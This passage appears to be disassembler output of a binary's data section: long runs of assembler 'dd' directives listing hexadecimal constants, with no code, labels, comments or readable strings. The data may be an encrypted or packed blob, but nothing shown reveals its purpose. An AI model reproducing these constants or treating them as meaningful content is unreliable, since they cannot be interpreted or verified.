10073189h, 6D75C07Ah dd 0DD465005h, 3C80536Fh, 0ED7F0Fh, 0FD496AE9h, 66258C73h dd 6975E207h, 0D9A0CE24h, 6A0C13h, 0E563A18Dh, 95EB716Ch dd 29D4280Eh, 84140E9h, 24911Ch, 9D0ECF62h, 6E450402h dd 0CD71DF00h, 0DB359F83h, 13E7F2Ah, 1DE902Ch, 0F044C9D3h dd 480012D5h, 142798FBh, 0DBF73Bh, 87E62283h, 783F63C9h dd 3C7F11Fh, 0F880AC0h, 5DBA79h, 0B1EAE2D4h, 8E08996Fh dd 2D71A04h, 0C5807EB8h, 72C6DCBh, 0F879680Dh, 0E9471366h dd 0A3B042BBh, 9900B06Eh, 0DF439F97h, 1858E3Bh, 0C4622BCBh dd 0E4F19691h, 6500F41Dh, 9D809ADBh, 5FB1F5h, 3CA86B89h dd 7A535426h, 1ABABC00h, 15AF2529h, 877C36h, 756241C1h dd 6BFD1B37h, 7713F00h, 4AEE95F5h, 0F88100EFh, 5C6DBDF0h dd 1A00302Eh, 456E8F18h, 1D054AB7h, 17E3309h, 694E6BBFh dd 6C693072h, 6EF3F500h, 75358489h, 6BAD0193h, 0E7FFB488h dd 0D881D52Eh, 4278D639h, 36DC5E00h, 0DCFD850h, 0EFFD03F0h dd 1EDF7295h, 0CD23FCD0h, 9B04B800h, 0E394548Ah, 39E0EE14h dd 280B3A8Ch, 11007F32h, 0C220787h, 8096C53Eh, 0FDA17110h dd 69B8F46h, 82AD89Dh, 203FE606h, 1F08A13h, 5801997Ah dd 0B29B025Bh, 4644FCh, 34BCE13Fh, 0AC7CA9EFh, 29361E00h dd 1BA379B3h, 14F000CFh, 61315F9Fh, 9D00C2FAh, 0DB3285A6h dd 0F6D7980Bh, 0D3C700B7h, 6D20343Bh, 0B300138Ch, 0E47F16ABh dd 1AC1E5h, 0EA4D3FBAh, 500F2A89h, 2C49990Eh, 0A669808Dh dd 0D0A9EEh, 3C9A05F1h, 0DA6370C5h, 4A0250Eh, 2D4B40F5h dd 7A3F16h, 11491D0Fh, 0B0E0B6DDh, 0B974EF0Eh, 0A78EE0AEh dd 0B7E4F1h, 0ADDAF335h, 1627F24Ch, 0CB9BE900h, 0D4C9E6BEh dd 0F526003Ah, 17068D7Eh, 2501C63Dh, 0AED5300Ah, 2CDC7BEBh dd 2EEC24h, 0C79A8552h, 0E9566544h, 0F5F90E00h, 0EE7A72C5h dd 59510645h, 9A6C1116h, 0AC57E101h, 0BF5FF6CCh, 305866E4h dd 0C3769F0Ch, 0F40040EDh, 5A96E8D3h, 0B2FA4h, 9E237F44h dd 49C81647h, 0E195CC00h, 61B028A0h, 0E27872h, 88B5A264h dd 92B8E938h, 1348AE90h, 21D5002Ch, 813A10ADh, 3D7FBFh dd 0A3261887h, 0C3D9DA8Fh, 0EC2ACF00h, 0EA5E1C1Bh, 0ED7E00A2h dd 9E84B05Ah, 0E60072DAh, 0BA0A1DA4h, 96E90h, 0F1C6563Bh dd 0D31779EFh, 7607F40Eh, 277D608Eh, 0A5C306h, 0D77A97C2h dd 1C8B66CBh, 9B78180Fh, 12FF00CFh, 0B398FB6h, 0AF3B976Dh dd 90143E07h, 0ECC8CA76h, 0AAD2BB00h, 32FCEFD6h, 7B850090h dd 0E4B76D36h, 0CA1D211Eh, 2880B6CCh, 0FA24A2BFh, 749B1DFBh dd 0B3007B51h, 0B02DDA34h, 251F4339h, 5E00289Fh, 183EB9Ah dd 262B0044h, 0C5800ACCh, 0E3F84069h, 81DE7C03h, 98E0D811h dd 0E345B5Eh, 4F3C4BD5h, 5D3700BCh, 0D7440A15h, 0CB09D00h dd 5A2A6A23h, 5ECB58A3h, 80B10E1Ch, 9A8BEF1Ah, 300A590h dd 1093BF1Ch, 0BE5B21h, 83F81742h, 90197FABh, 55CF3803h dd 0E009ED05h, 29A8DE4h, 0A73037F7h, 66C05120h, 0A3070B43h dd 0C1D2CD52h, 99BA1620h, 98CA0714h, 2031FC0Dh, 0B5918FA9h dd 27964E00h, 0A0089F37h, 0CC670390h, 0D67A6228h, 0ED215EC0h dd 80C6F43Dh, 589F8B60h, 1C857B3Dh, 807EFD8Ch, 0E75CE548h dd 65009101h, 2012CFEBh, 0E80DDBh, 9270385Dh, 0F42BA3C4h dd 1AD82C00h, 0CE31F67Dh, 46E90095h, 0A4F858DBh, 0B201DF25h dd 62B34C28h, 0AAC83931h, 3F6500A7h, 0BD0BFC56h, 0DA00E975h dd 64D1FF80h, 0F69F084h, 0EE28D82Eh, 96D97C00h, 3E02FE92h dd 0DF5B7AB1h, 58C8C06Fh, 0F5C3025Dh, 0ECCFA1E1h, 9B068083h dd 7CB72EE0h, 405F9E4h, 5747A703h, 0BA38EAC1h, 9D58F8h dd 9C424176h, 6B65AE3Fh, 0B90AA100h, 2BA4C4E3h, 0F29801EDh dd 66B02AB1h, 9B2EE071h, 0FD84811Eh, 0DF40C140h, 0FB9C4Fh dd 445D661h, 5F9B1E4Eh, 0B23731Ch, 828701C0h, 39EEF5D8h dd 38801F3Dh, 30155B86h, 0A300F339h, 42D90188h, 0F70F14h dd 6FBD462Eh, 57E863DDh, 9E7E7B00h, 1EE05D32h, 66A80020h dd 0AE3022A1h, 0E61C6D11h, 644F2A34h, 0BFF2C0A7h, 0F0E57279h dd 0A574CBh, 319356D8h, 13C6D4DBh, 0DF7A5E7Ch, 1200AEE4h dd 91D34043h, 9A47ABh, 0FCAC130Bh, 83E66271h, 99D56001h dd 0F2CF462Fh, 0DAE2EE40h, 0E844506Ah, 60F7006Fh, 0FAE1646Ch dd 0B90E18E9h, 80D4C1CAh, 2134E54h, 918C00CBh, 0F686B331h dd 563E4A0Ch, 0AAC48271h, 600DEBE9h, 0B8586882h, 0A4A20080h dd 0EFA50359h, 0A800282Ch, 98E83380h, 0C47087h, 0D97E340h dd 0D9671B4Bh, 6A00EDFCh, 0F5CCE07Dh, 3741CDDh, 4D49D80Bh dd 0E7F040EEh, 0ED0012BAh, 0F1B6B02Bh, 33AA1CFh, 0D461BEECh dd 0D9D93353h, 42A02E48h, 0CF0707E6h, 1216A0DEh, 37DE735h dd 0B038DF52h, 0E6CAD02Bh, 324B0389h, 1778427h, 2AC0FDD3h dd 8A008C0Ch, 8FCAF482h, 3971D1h, 0BF9A777h, 9061C24Fh dd 0C425Ch, 899C78CBh, 79845Dh, 5619F258h, 216A2EDh, 32268700h dd 10F43748h dd 35F0540h, 3F76F7h, 78B8C0B1h, 0D005B73h, 0B28EF6B5h dd 295AF3h, 0BB31A0A1h, 7E7C2794h, 80B93939h, 0C854CF8Fh dd 31B083Ah, 51959F32h, 36D0AD81h, 0A72C70ABh, 9100D740h dd 29E5717Ah, 0A2B004Fh, 9259A090h, 6B003A5Ah, 529BBE82h dd 948141h, 8687F72Bh, 3A657A44h, 4238B600h, 754903A0h dd 0E9151FF2h, 10D540D9h, 9BA97BFDh, 0EF93B2Eh, 61127E00h dd 391CA5E9h, 6B7B741h, 0D8550064h, 0FC006387h, 3EAC71B1h dd 2438A4F7h, 0B0E3F3h, 7BF01379h, 0AB00A1E5h, 0CDFCDD55h dd 1A5A2ACh, 9438C90Dh, 30B54AE8h, 0F1006B0Ah, 74982442h dd 0BB9A71h, 2D14C5ECh, 4B83A98Ch, 918BD500h, 93C7F32Ch dd 0AE6100F5h, 0A7968820h, 0D7001B3Ah, 356D4E5Ah, 0CB9105h dd 1236DFDBh, 9CEC0BD1h, 0D31C900Bh, 0E0D50FDAh, 0E7514BFBh dd 3A7E3Ch, 0CA81B326h, 381759C0h, 0B2EB070Eh, 5AC01DA0h dd 0A968C456h, 6C16038Bh, 60B5D02Dh, 9AE98DA0h, 1D26867Bh dd 0E400B292h, 0E87864D9h, 0DF61001Eh, 0E044FBB0h, 5EFE57A5h dd 86D45F00h, 73C515BFh, 0FEAC05E8h, 83C8B44Fh, 8BC1DE03h dd 30824748h, 0F9A1C045h, 0A79D3200h, 0C6B1C9FFh, 9C8B0FD3h dd 7AFCFB52h, 0B0564580h, 7919C3E9h, 66415C00h, 0EF84EABCh dd 0C43B0015h, 898D47EDh, 7B00145Ah, 5D25C179h, 0DD59A6h dd 41B76678h, 39E635FEh, 0A86BE300h, 0C6578A30h, 0D9EB003Dh dd 0DD345A3Eh, 9000781Dh, 0B223B5Fh, 7D62E8C3h, 19840112h dd 0BE047175h, 8C9D70A3h, 5BCD7204h, 1EC0B482h, 943E9Fh dd 7F104E83h, 1CFE53D8h, 6DFDDF12h, 0E074A707h, 0A33075E1h dd 7B47FC8h, 310E9A2Eh, 0CDB260BAh, 0F98338Eh, 0A49FA506h dd 1F32BE06h, 41C35A72h, 5BCB433Bh, 0BBFCE846h, 15520C00h dd 0E4323189h, 81A6007Fh, 44147325h, 0F200706Ah, 0D510A106h dd 528249h, 1E43016Fh, 0C363D3AFh, 40093400h, 4B5F3DA6h dd 5F907Dh, 2AF003FFh, 66AFE5B4h, 6D0E5075h, 0E021A816h dd 0CB86DE53h, 0F4250744h, 80ABFB17h, 0DC11ED3Dh, 14645B0Eh dd 0C3FA4040h, 3113B6h, 5890B815h, 0F8AA4B6Dh, 6FEB4D00h dd 0CADD468Ch, 0E0851EE6h, 2D309CEh, 0D949C780h, 8BF2DC8Ah dd 4E1E6207h, 1D905FCAh, 0D33D4Fh, 5D1706EFh, 0B4F3DAF7h dd 0ECA6AE00h, 123284B3h, 34E81FDBh, 0FE3C00CDh, 59BCFB70h dd 7E5C2700h, 28C1D82Ah, 0E87700A4h, 303C4849h, 42001846h dd 0CB6CD73Eh, 0A1CE6Fh, 84992FC2h, 0AA648A10h, 24A0CA5Ah dd 6DB700C0h, 8DD9F0D5h, 0DA03CD24h, 88093049h, 0AEC9D817h dd 0DBE0FB90h, 0B3460394h, 9AFD377Bh, 4706CB8h, 0CE59B003h dd 0C0E7B588h, 1C1A691Fh, 40944396h, 0CD60C5E5h, 0A2004904h dd 8BC9D90Fh, 0E3C8F6Bh, 0CCA04666h, 31736960h, 4A72EA2Bh dd 0A7009C73h, 7AAB7F3Fh, 7E33E5F6h, 0E7A0000Ch, 92F41835h dd 14005284h, 0F0BBD3B8h, 8B7B90h, 66F727A0h, 99219FFFh dd 0F26C4C00h, 89BF828Fh, 262C00D3h, 0D82925DFh, 300020BEh dd 9E632E4Ah, 0F1AC1CFh, 45E3F272h, 27FD27h, 0D93C1089h dd 0B373BE01h, 3668489Eh, 38B31C8h, 0EFD2FD2Fh, 0BBE8A76Eh dd 33001FFAh, 2D3096B1h, 70B3DF70h, 0D2D907C3h, 10B63DEDh dd 8153332Eh, 654FA01Eh, 0B087DBC0h, 0CB48C2h, 4E8890BCh dd 462B3558h, 0AD32EA00h, 9D79AC65h, 5A0A0084h, 58F5A471h dd 3078578Ch, 8AC9FA00h, 3E6D4419h, 0C79C3E4Ah, 0E7E41F01h dd 21BDD3C1h, 0BB6FF86Eh, 526A8500h, 0C9D955Ah, 4869E82Ah dd 1100B2BEh, 3F0135F8h, 0F700AA30h, 0A54FCE83h, 716B65Ah dd 67764660h, 0AF9DC084h, 3D0069A6h, 472BE563h, 0E38DC6h dd 1304FDEDh, 52AECB6Dh, 5FD6BB00h, 0B2A3F929h, 0D2880003h dd 89873DD9h, 47015369h, 50604975h, 2F08E2Ah, 642B000Ah dd 1C9D633Eh, 1FE84A04h, 854D2E03h, 0DB92849Ah, 0DB7EA8B0h dd 320300B3h, 0C1955D55h, 0AF3F7B45h, 0C7580063h, 4D4B9383h dd 5AE4005Eh, 0D3B9F0A9h, 8800AC05h, 99E866CFh, 73D819h dd 2A3DE5CDh, 600870A9h, 32FEB800h, 0D90B95DEh, 0C6C31488h dd 77B898h, 63B8EBFFh, 90D0255Dh, 5C6F9400h, 0CF3E1BA5h dd 0DA9081h, 4996022Bh, 0FBE22E09h, 18E4F90Eh, 5D66C09Ch dd 9B8F53h, 9FABC017h, 0CE7B7AEFh, 0A80EBF03h, 88C13542h dd 32E1F7h, 0EC36B594h, 57A39221h, 75EEAA1Eh, 12523F80h dd 36DC6A8h, 96132DF7h, 0D5AA8418h, 0CE4BB80h, 5900458Ah dd 0E8F01142h, 70A017EEh, 0C4F20064h, 588D4E92h, 0A11D24E9h dd 0EF401CDAh, 82FAB490h, 0FC6F0069h, 23D74115h, 0AF600EA0h dd 943271Ch, 97B003E8h, 2DC1AC62h, 36AB0BF8h, 4935A900h dd 8B915C33h, 42A0030h, 0DD8A966Fh, 0DA002890h, 135518BAh dd 4E1E71Bh, 4E1AF4E9h, 1DD6C025h, 9008CE2h, 0CF243478h dd 0ECB6F2FDh, 339900DAh, 0E119DC61h, 310022ACh, 85033765h dd 7A6BBF9Eh, 0A9210049h, 0B04D489Ah, 5E0011A1h, 4A7A6CFEh dd 995A7Bh, 0CF5C46B6h, 0FC87DA49h, 33BC7601h, 9134E4C7h dd 9CDE4h, 0B1655163h, 5B29F889h, 5C6EB43Dh, 40D6001Eh dd 938B42D1h, 0C1B70F39h, 0D900E179h, 3076752Dh, 7754A700h dd 8A65D7E2h, 135600FFh, 0A5855A83h, 15EA9107h, 0E904F400h dd 5F8E1C3Eh, 0CB054886h, 3AEE6600h, 5A485DCAh, 0EBCFFB03h dd 0A0884F5Bh, 17FCAEh, 825CF931h, 0B9A4A383h, 2201647Fh dd 54456CEAh, 71D0BE61h, 6D1F1EFFh, 1462800Eh, 3D15B68Ah dd 0BCCA4800h, 461B1806h, 28C7023h, 3CD9B2A0h, 60FDF720h dd 39EC535h, 65907F24h, 18D93D1h, 70AAA4F2h, 6C86D8E7h dd 8AA98900h, 4A570C84h, 65B10093h, 6BE4F624h, 77004937h dd 4B4D34E7h, 0D9A988h, 2E69053Ah, 0CF1FB619h, 0BE5EFF00h dd 0BB54F138h, 0D83B2EE3h, 85910090h, 6A258F18h, 966D151Dh dd 0C15B03BDh, 3B4AB4h, 0D8FAE6A0h, 4608EF9Eh, 1D19163Ch dd 8E4705F0h, 716027C8h, 0F1C253Fh, 0A475D694h, 59DBA960h dd 4F0EA668h, 808DAEDCh, 5383402h, 6F64009Bh, 0DA3C78ECh dd 0A600923Ah, 0ED39BEFFh, 5561B2h, 7D66D602h, 1A1CBA03h dd 7A7B0F00h, 143A2D81h, 1DE5FA76h, 4F6C9C4Ch, 4120BA35h dd 2953A16Bh, 0CB69DC00h, 21C496C3h, 0D31B008Ah, 6F883E1Ah dd 300062EAh, 6618A452h, 15C292h, 6D6AEEF8h, 0F6FAAB3Ch dd 19293Fh, 0B9DD431Ah, 513349Bh, 0B3819069h, 86E88350h dd 7D027190h, 2C63AD3Ch, 6C171A64h, 74252C00h, 894E14h dd 918CF409h, 0F19C515Dh, 0F7363003h, 0A05C7544h, 0F6A2456Fh dd 38A61C0Eh, 6BE680FAh, 0C7DABDCFh, 0A553B0Fh, 0E313C0C8h dd 0F756B1h, 0CE0CC281h, 0EF0BE7E0h, 0AACF4A00h, 37223E5Bh dd 0BF900048h, 7E07ED20h, 971E30F7h, 0DE8064D9h, 1AF5E08Ah dd 9B1300D2h, 0F87A2DDDh, 44004D66h, 55260914h, 76D1431Bh dd 62590086h, 2B843F98h, 0A90E0389h, 0C02390BBh, 0D7F57997h dd 1BB507C5h, 9705FEDAh, 5925A0B3h, 0E4E2E338h, 29935301h dd 0FF32DF91h, 4FADE8h, 76E1597h, 84E6055Eh, 81936303h dd 0C85B0D18h, 386CB2E8h, 0C1015AB5h, 0DB7DDD62h, 9890E721h dd 14007A1Eh, 0A929801Fh, 1750B66h, 8D073C39h, 0D81625C3h dd 76002ACEh, 9E4337E7h, 0F08A997h, 7039209Bh, 0C61A6440h dd 4D76DBDFh, 0C1494B00h, 884E1D9Ch, 0B6680009h, 0A6ED7374h dd 0B3006F26h, 82CCA2A7h dd 1924B7h, 257B883Fh, 2667E192h, 0C7EE9800h, 6066F280h dd 2E49001Ch, 8825827Ah, 210B53CEh, 0E6AB5CBh, 0B19581A2h dd 0A5F4ABCCh, 0F0C00350h, 0C4CD0636h, 7D261AF8h, 4CBEE600h dd 9A1ECFC8h, 93D500ECh, 0DD97A68Eh, 6F0FE2EFh, 20D815AFh dd 2863D0C5h, 0CB1F0071h, 2FBBCE70h, 50E590Bh, 80C5DAA7h dd 1529C192h, 0CC81029Fh, 403A9C66h, 0E51CC181h, 0DB26DC17h dd 0D07DA3E4h, 68131800h, 9D31A5F2h, 773D1D8Ah, 624E0EF5h dd 0AFE05281h, 0CDBEDDBDh, 0F0D1E0EAh, 0D83A470Fh, 0F880F2Fh dd 3E6B4099h, 0F1AC98h, 13D5F895h, 0F23DD737h, 4F82110Eh dd 0C24E000Bh, 4CC47h, 5A6EEEB7h, 73456096h, 6F7BB800h dd 5FCA1AC0h, 0A84E002Ch, 0B602AE67h, 455A0581h, 0F00079ECh dd 0D713585Ch, 0D0F95024h, 9D00D0AAh, 0DF0BA47Dh, 0E2B6E54h dd 0F80C6F2Ah, 8EFD9720h, 563A821Dh, 3A5F0143h, 0AD861227h dd 1FDBC0h, 0D8D0F00Fh, 0EFD1E136h, 463BED04h, 0BEE7F3h dd 0B7DA2F75h, 51015840h, 9B6D2487h, 0C0C33835h, 3F1FF2h dd 4F9010CBh, 89777817h, 0DD8E2D00h, 8B4EB7DEh, 0C5440066h dd 6CCC2FC9h, 0CB00B6C8h, 3AFDD507h, 10B82AFh, 3D40E8F1h dd 2006A822h, 89000335h, 988B924Dh, 5F61B9D3h, 58A824h dd 0CC9A26D0h, 1F73CAh, 92961E17h, 0DBF162Bh, 80E9053Ch dd 7422EF15h, 709EB71h, 117902BEh, 211D503Ch, 10002E37h dd 0FE2FE47Ch, 86F483h, 5FAEF8C3h, 0B59691Dh, 0A6E8A1ECh dd 0B500177Eh, 36054B0h, 3E69B644h, 99810449h, 0E3C3C76Bh dd 3C0EE4FEh, 0B9E16000h, 0D1CDEA76h, 3B2E2A7h, 0D81FE235h dd 60F8D3FDh, 3601D431h, 34EE5F97h, 47D41958h, 0AB7F07C4h dd 20E3A159h, 3053C53Dh, 0BF9FCF00h, 7EC21164h, 8180084h dd 155FF238h, 0EA395D78h, 25CF014Bh, 37D269B3h, 7316C6D0h dd 837600EEh, 0DAAE966Eh, 6A0FCC04h, 818C991Ah, 41076C68h dd 577EF0h, 2F4639F4h, 770DD19Ah, 2D00C8F2h, 7424B08h dd 74B4B6h, 0D0E83BE2h, 6C1C1D0Ch, 8D899800h, 6B94D416h dd 856007Fh, 0B88FD579h, 6FFEF1F3h, 4E491000h, 0B60DDE0Fh dd 2DD70065h, 0D6422815h, 0F000AC2Ah, 80448921h, 853A07h dd 0A8EF88C7h, 5472438Eh, 21D4900h, 16C3BB0Eh, 213E005Fh dd 0F54EB10Dh, 5E03821Fh, 0FF8C7757h, 760980F4h, 719852h dd 0A8D52B73h, 4A711315h, 1E0CFB3Bh, 0B59EE3C2h, 6990A280h dd 0BF6AE4h, 0F7B63E4Fh, 439B26C8h, 8920031Dh, 0C1F9040h dd 753D536h, 2AC9650Bh, 0F15A301Ah, 1D004C5Eh, 0D1269334h dd 0BF26447h, 2430988Dh, 0F9EB9700h, 6E77F163h, 15E92500h dd 7A659974h, 0C0D2003Dh, 87C35BB9h, 5E3F4468h, 7E5700A9h dd 66ED82Fh, 64A60056h, 0D52DBBC3h, 71004750h, 0C4AC6904h dd 0F4B625h, 64918E58h, 0EFED3BFAh, 81DBA500h, 5A2FA155h dd 0B88000CCh, 34979CF6h, 1F30BF71h, 94DC58DAh, 0B6B0FBh dd 29C52FA0h, 0C89966DDh, 1DB53400h, 3689260Bh, 7AE80354h dd 0EA2DE5F1h, 77CE12F8h, 75EC5F00h, 8397D6F7h, 0C4781Ah dd 0EB6013C2h, 507B2B40h, 2175B200h, 575D5816h, 339001B0h dd 328CBD2Fh, 3710D4C4h, 201A4B00h, 0BB055FA5h, 2BE80764h dd 0D018EB72h, 10B3572Ah, 92B41700h, 0A30EF063h, 8B040088h dd 0F236A86Fh, 0B00BCCFh, 0B57EB8C3h, 1C0A4F32h, 536DA3h dd 4CFFBEDCh, 7800057Ah, 350EFE41h, 7E5BAEABh, 0F1BB0072h dd 0C3E3ADF3h, 1300CBC7h, 0C86219F4h, 3B61ED3Dh, 38733C2Dh dd 4C0FEB70h, 0D6CE21C0h, 688A4500h, 5C0028C6h, 74EA0BFAh dd 36F5BE6h, 2778F3D3h, 9E8D543h, 191D46A1h, 418413CCh dd 0C7C5915Bh, 0E97CFE83h, 48F07681h, 4C9A0028h, 0D63E2097h dd 58EA60FCh, 7C428800h, 0B52E178Fh, 0A4A7EE7h, 8EF4C70Eh dd 48401CEh, 0C0957344h, 2D000D7Dh, 1C185169h, 48ABC93Dh dd 0D50EFA0Fh, 49453819h, 7079A81Eh, 73E2400h, 0FBFCD1AAh dd 6A7A38A5h, 0A77C5D0Fh, 0C045B320h, 0BA74C993h, 6B1E8300h dd 0AA847969h, 0E230710h, 0B35827F7h, 11D0AC59h, 0EE00519Dh dd 9AECCDCAh, 1D63906h, 0AEA40EA2h, 0C82B992Dh, 8600727Eh dd 0B6BEEEAFh, 1FCE4A1Ch, 40DE3B8Fh, 521E8732h, 59009F14h dd 0EC21083Dh, 3FB85Ch, 0A80781EFh, 1C5463CBh, 0DD09E900h dd 5BA06552h, 0E877D2Bh, 34B94CD9h, 0DAF23C40h, 2600303Ah dd 9390E129h, 3DB164h, 0E8078EBAh, 0E9DD4AD8h, 43C7DC00h dd 66ABE2CDh, 0BA94008Fh, 1F1B544Fh, 9100BF63h, 46DA69C0h dd 90AD7704h, 0AA70386Eh, 8F1226h, 90259FE0h, 5C1D8659h dd 0B5C096AEh, 0A058849h, 681900E6h, 3DC3E49Ch, 8D1D8F17h dd 0D0DC0379h, 30835740h, 13BB7F16h, 0BF4B4D77h, 6576F200h dd 5AA049h, 0C5F8C88Bh, 0C43EF6B1h, 2E8F7200h, 0F7E69106h dd 3D67CFFh, 2265E79Ah, 30E077ADh, 5E072521h, 0E5EE45BAh dd 959C0AD0h, 0B2EB004Ah, 6F0E7D1Ch, 0F9008DC4h, 69117C8Fh dd 0EA533781h, 48F40087h, 0E3C0E25Bh, 8B00EB8Dh, 12BA530h dd 0D5915Ah, 93EA1A9Fh, 87898F62h, 0FAAFDA1Dh, 0A0475E0Eh dd 9B43DFE4h, 5CA7EE63h, 0C300E962h, 0FFAC7464h, 3B0003D7h dd 125C3A61h, 186A2EBh, 6BC22FB9h, 2093BCF5h, 0DE8EDA9h dd 5E002070h, 0E2134F31h, 0E91B48Eh, 0B3553696h, 0EFAE3A80h dd 1930AB01h, 0DDD0D24Eh, 9ABE053Bh, 11A4A5h, 2B695282h dd 0EE04EF19h, 0E8495BA8h, 88024BC3h, 719B17h, 0EA83A50Bh dd 0D943A0B1h, 0CD1C7601h, 618D12FAh, 32F24D4h, 79EF6B51h dd 42E89EF8h, 10005947h, 0CDBB4614h, 19B18Dh, 7A8688F5h dd 304332EAh, 0D5BC8900h, 0E5FD5A0Ah, 58AB00A4h, 0A0DB7544h dd 0A90CCF5h, 5D4BD600h, 7B61609Bh, 7C390056h, 0C71182A6h dd 8A7BED5Fh, 0A5A05E00h, 2F5023B5h, 240300C9h, 92D916A3h dd 0BAB07A26h, 0AAD36000h, 703B756Eh, 0E0740076h, 0BF8F54B7h dd 820F67F5h, 41276F25h, 0B897CF77h, 0BE4320h, 32AE4098h dd 0E5AD3FD4h, 5F841200h, 0F69256C8h, 0F56F00ACh, 6495F298h dd 1E79BED1h, 349ABB00h, 0EC452DCEh, 9CE8F0h, 0A17EC7E7h dd 52E1158Fh, 67831E07h, 0EBA0ED8Ah, 0DF9146h, 0CD39BA8Ch dd 59E54DDCh, 24003BFEh, 7BAD60B2h, 1B1E875h, 9D6CD86h dd 7080A998h, 1C3A16A8h, 0AAC68046h, 0D0530EF7h, 0B36700F1h dd 0A8FE0265h, 430026A7h, 8FD7E063h, 0FB725C9h, 0B8F6A269h dd 90CAEF07h, 0CCD09C47h, 0D914C400h, 410AAEBFh, 8094004Eh dd 67C295E4h, 0AF009B37h, 0D736F8Dh, 0FB86CBh, 0C73DDD5Ah dd 76EDB61Bh, 1E008978h, 19E1D6CFh, 0FFDF8CEh, 1443D1DBh dd 2F8433E0h, 40285453h, 9F0E85B4h, 40BEFC22h, 0D8C9F8D3h dd 0B7AA3AF4h, 2EE9CD80h, 0A226C285h, 7E375F00h, 19982794h dd 0AE72FBh, 63253654h, 7B66C27Ah, 0D58E260Fh, 9BB9E03Bh dd 17E1242h, 0D086328h, 0E86075B7h, 0A1010FE3h, 0DDEAAEF0h dd 0FECCAD05h, 39E1E10h, 9F084715h, 73C8C042h, 0A77D3536h dd 0F17EA200h, 89A43303h, 0B39507C5h, 53D8762Dh, 0E813BF0h dd 4CD1E850h, 9D5F833Eh, 8F42491Fh, 0C0E2A1A4h, 3C6C71h dd 7C1088A8h, 5D23D679h, 0D9B9A902h, 0E02546FCh, 0D07A80h dd 6E0C37E1h, 0A56D974Eh, 604B9470h, 5100D3ACh, 0B384BE8Dh dd 5701F7C7h, 0C8DA180Ah, 1BD1E071h, 0AB53F4h, 7AA9DC2Ch dd 9EE8F1C4h, 0B3F96F00h dd 0CE9D811h, 816E00F3h, 42FB7E6h, 0BE051373h, 0C31E798Bh dd 5AEF7E80h, 0A1B10065h, 8897B323h, 6900D4BEh, 2F34C3EEh dd 4DFC3Ch, 0E1BC928Dh, 53A91EE3h, 46FA6907h, 0DDD3DCB4h dd 240E72Bh, 9F1E4AF4h, 0DEAB2A60h, 9CB14600h, 0D7263ADh dd 2A49000Ch, 2D88CE8Ch, 371CABA2h, 76C0C02Bh, 0F3FA4766h dd 4BC40036h, 1C12753Bh, 54002298h, 0EC7D893Ch, 0E631359h dd 11518714h, 405896A0h, 0F91646D5h, 0C30F1B6Dh, 0DF8360BBh dd 7D7C91h, 36AFEDE0h, 43B71509h, 50AAC402h, 800FEAD6h dd 0B0317ADBh, 194B0288h, 70E12B20h, 0E03E25Ch, 0C0E8B4B6h dd 734A903Ch, 69CC3C46h, 48F1C380h, 0FC474413h, 0AE022000h dd 899EA363h, 9C101C04h, 3FB680EDh, 2728DB01h, 620F9603h dd 0B0D13BD4h, 7AB0FEF1h, 0E9DA0023h, 914E8CF9h, 0B1008F7Eh dd 0DC86030Ah, 76739098h, 11A3008Ah, 295577D1h, 0CE00BB8Eh dd 23F00B4Eh, 5AF40Dh, 4AFB79DAh, 56FE94A2h, 47146100h dd 0EE373036h, 0C0B60025h, 0DE977B7Eh, 0FF004609h, 0CF395355h dd 0F344D0Ch, 35B083D8h, 0EE2532A0h, 7800D075h, 0C40CD536h dd 0E3BDAh, 6F5ADED3h, 0B4AAF999h, 71AD400h, 9332C5D5h dd 51BD0097h, 0A30EF3FBh, 0BA007E24h, 6B3B3136h, 0E71250h dd 0FC666FC2h, 0FF28D126h, 4D759D0Fh, 1C3A80C4h, 0E417EFh dd 5881E66Ah, 1E1BAA5Eh, 0CC847200h, 0FD823D14h, 0EE4A0085h dd 2CC74152h, 584CBE0Ah, 80933C93h, 786F7112h, 3802AC9Bh dd 0D000FCBh, 0A5483E6Dh, 0C6009927h, 29DD436Eh, 63E397h dd 3D7C52EAh, 1DC7F869h, 704963Ch, 0E97347BDh, 980C0100h dd 0BCA4003Fh, 5F404EA2h, 6B0E76C3h, 6058C757h, 0FFB8DC35h dd 73380164h, 0CE70F016h, 5F3F499h, 0F2023Dh, 0AFE62574h dd 8E828Ch, 0AA1764A6h, 6F426CE1h, 1EF96700h, 0BF84A911h dd 0F81505D8h, 0C02774D1h, 0EB633A9Fh, 0A700E173h, 3CCDF2CAh dd 5CBAF9h, 88EFC4ACh, 56AD2E82h, 488BED03h, 0D8083E3Bh dd 0ECCD30A1h, 62241EF5h, 2B1F4F95h, 8800D49h, 4C25393Fh dd 51B23700h, 8F5C7DA5h, 0CD78003Ch, 140C28F1h, 0E003F5F3h dd 0A62252CEh, 0E6E8D817h, 9FBD004Ah, 0DF8DE929h, 0E72CD598h dd 7500A134h, 3D2B3101h, 0C3050286h, 9DE1678Bh, 0FF985443h dd 0D77374CDh, 947D6107h, 0BED04A59h, 0F5183E12h, 6930D0h dd 9F8C62D8h, 2AEFE10h, 79956500h, 40DD746Dh, 70B005h dd 82CCACDAh, 0C04E8DF5h, 5A66D201h, 3EA42EBBh, 0FEF8C0h dd 2A92AB2Dh, 9AFDAC27h, 0E6138000h, 9FB01AD0h, 3390106h dd 8E18C3FCh, 61DBE8D1h, 0AB70BC00h, 569CB20h, 4F353E22h dd 9ECC0076h, 2C859C6Eh, 0C5009A31h, 1FC83CC7h, 175F2750h dd 300665h, 0ADB6BF04h, 6F3D6B0Bh, 0E3C6000Dh, 252D8B3Bh dd 0A4C00FC5h, 15EE13CCh, 5E4448C0h, 0CE3FD9BDh, 3F08804Ah dd 7F3BC31Fh, 37B40021h, 8FFB1486h, 407B01Dh, 0F9876352h dd 80CC8993h, 3F3EE0h, 0A5EDC45Dh, 2E528AAEh, 0F75FE400h dd 1193E774h, 0AD6B00CEh, 20489E13h, 6F00C892h, 19C7BB47h dd 0B8B8DDF4h, 8465009Eh, 51CE4598h, 0E100E48Fh, 63F9DA78h dd 0F35A86h, 0E2C055DFh, 32779184h, 0D70B3700h, 41CBC149h dd 0A92207F4h, 0D0A28A75h, 1E103D8h, 0C5FD9C03h, 0A0E5ECC9h dd 8F5B46h, 0A032E7EEh, 0C8BEE208h, 7AB26824h, 0C4780Fh dd 3958AEDEh, 7F280052h, 64AD0C0Fh, 9A1C77E7h, 760E894Dh dd 6A31A0A9h, 53BFEA3h, 0B2D8D751h, 0A67480EFh, 0A212AB8Dh dd 7C0049B5h, 6C374FCEh, 58F20068h, 39FB3BCh, 0A0006A01h dd 6EDBB4DEh, 2B07D12h, 775B2682h, 2AC07E63h, 0E00E27CAh 